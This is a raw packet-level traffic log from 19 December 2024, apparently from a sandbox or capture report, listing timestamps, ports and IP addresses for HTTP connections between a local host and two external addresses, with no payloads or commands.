Dec 19, 2024 08:09:35.162230015 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.162324905 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.162358046 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.162488937 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.163172007 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.163352966 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.163548946 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.163902044 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.163954973 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.164191961 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.164719105 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.164855003 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.165452003 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.165548086 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.165621996 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.165906906 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.174674034 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.174782991 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.174995899 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.175033092 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.175090075 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.175180912 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.175657034 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.175705910 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.175796986 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.176474094 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.176589966 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.176681042 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.177299023 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.177386999 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.177511930 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.178136110 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.178236008 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.178807020 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.178970098 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.179080009 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.179167986 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.179805994 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.179915905 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.180319071 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.180618048 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.180732012 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.181453943 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.181566954 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.181602955 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.182251930 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.182950020 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.246623039 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.246701956 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.246767998 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.246843100 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.246922016 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.246949911 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.247677088 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.247750044 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.247903109 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.248315096 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.248430014 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.248637915 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.249157906 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.249305964 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.249317884 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.249993086 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.250031948 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.250060081 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.250849962 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.250927925 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.250983953 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.251642942 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.251741886 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.251769066 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.252469063 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.252577066 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.252604008 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.253304958 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.253427982 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.253763914 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.254148006 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.254264116 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.254291058 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.254966021 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.255014896 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.255048037 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.255794048 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.255898952 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.255958080 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.256633997 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.256706953 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.256822109 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.257468939 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.257603884 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.257638931 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.258280039 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.258362055 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.258418083 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.259105921 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.259253979 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.259354115 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.260004997 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.260147095 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.335191011 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.335275888 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.335382938 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.335387945 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.335468054 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.335585117 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.336224079 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.336334944 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.336431026 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.337024927 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.337127924 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.337857008 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.337961912 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.337995052 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.338582993 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.338901043 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.338967085 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.339521885 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.339555025 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.339570045 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.339627028 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.340344906 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.340445995 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.340739965 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.341218948 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.341322899 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.341659069 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.342025995 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.342120886 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.342875957 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.342895031 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.342936039 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.343044043 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.343735933 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.343866110 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.344065905 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.344546080 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.344604015 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.344712973 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.345334053 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.345417976 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.346000910 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.346213102 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.346307039 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.346385002 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.347021103 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.347111940 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.347251892 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.347825050 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.347937107 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.348653078 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.348678112 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.348696947 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.348803043 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.349479914 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.349618912 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.349836111 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.350333929 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.350411892 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.350838900 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.351160049 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.351288080 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.351356030 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.351978064 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.352089882 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:35.352279902 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:35.405937910 CET	49854	80	192.168.2.6	185.215.113.43
Dec 19, 2024 08:09:35.407162905 CET	49876	80	192.168.2.6	185.215.113.43
Dec 19, 2024 08:09:35.525747061 CET	80	49854	185.215.113.43	192.168.2.6
Dec 19, 2024 08:09:35.526607990 CET	80	49876	185.215.113.43	192.168.2.6
Dec 19, 2024 08:09:35.526845932 CET	49854	80	192.168.2.6	185.215.113.43
Dec 19, 2024 08:09:35.526912928 CET	49876	80	192.168.2.6	185.215.113.43
Dec 19, 2024 08:09:35.600792885 CET	49876	80	192.168.2.6	185.215.113.43
Dec 19, 2024 08:09:35.720316887 CET	80	49876	185.215.113.43	192.168.2.6
Dec 19, 2024 08:09:35.816353083 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.039902925 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.450524092 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.557394028 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.557446957 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.571202993 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.571365118 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.571419954 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.571495056 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.571507931 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.571521997 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.571535110 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.571562052 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.571598053 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.572417021 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.573465109 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.573530912 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.574644089 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.574822903 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.574867010 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.575598955 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.575613022 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.575901985 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.575913906 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.575930119 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.575972080 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.576427937 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.576580048 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.576621056 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.577264071 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.577418089 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.578058958 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.578108072 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.578216076 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.578881979 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.578923941 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.579030037 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.579648972 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.579695940 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.580101013 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.580144882 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.580452919 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.580619097 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.580662012 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.581382990 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.581535101 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.581582069 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.582066059 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.582079887 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.582120895 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.582859039 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.582874060 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.582921028 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.583661079 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.583817959 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.583889961 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.584423065 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.584621906 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.584706068 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.585342884 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.585355043 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.585417032 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.586123943 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.586134911 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.586270094 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.586744070 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.586899042 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.586952925 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.587673903 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.587846041 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.587908983 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.588311911 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.588470936 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.588526011 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.589251041 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.589409113 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.589474916 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.589999914 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.590152979 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.590188980 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.590837002 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.590848923 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.590899944 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.590909004 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.590920925 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.590934038 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.590959072 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.591047049 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.591095924 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.591737032 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.591840029 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.591888905 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.592503071 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.592726946 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.592776060 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.593312025 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.593415976 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.593468904 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.594096899 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.594227076 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.594345093 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.594933033 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.595021009 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.595082998 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.595683098 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.595829964 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.595921040 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.596503973 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.596631050 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.596777916 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.597299099 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.597397089 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.597641945 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.598067999 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.598206043 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.598339081 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.598886967 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.598984957 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.599061012 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.599690914 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.599858999 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.599903107 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.600469112 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.600569010 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.600619078 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.601278067 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.601416111 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.601461887 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.602056980 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.602157116 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.602282047 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.602847099 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.602961063 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.603015900 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.603842974 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.604001999 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.604058027 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.604621887 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.604669094 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.604748964 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.605238914 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.605376005 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.605422974 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.606033087 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.606143951 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.606190920 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.606852055 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.606947899 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.607052088 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.607737064 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.607785940 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.607825994 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.608413935 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.608530045 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.608570099 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.609220028 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.609337091 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.609421968 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.610014915 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.610116005 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.610197067 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.610829115 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.611013889 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.611053944 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:36.611597061 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:36.611720085 CET	80	49862	194.87.47.113	192.168.2.6
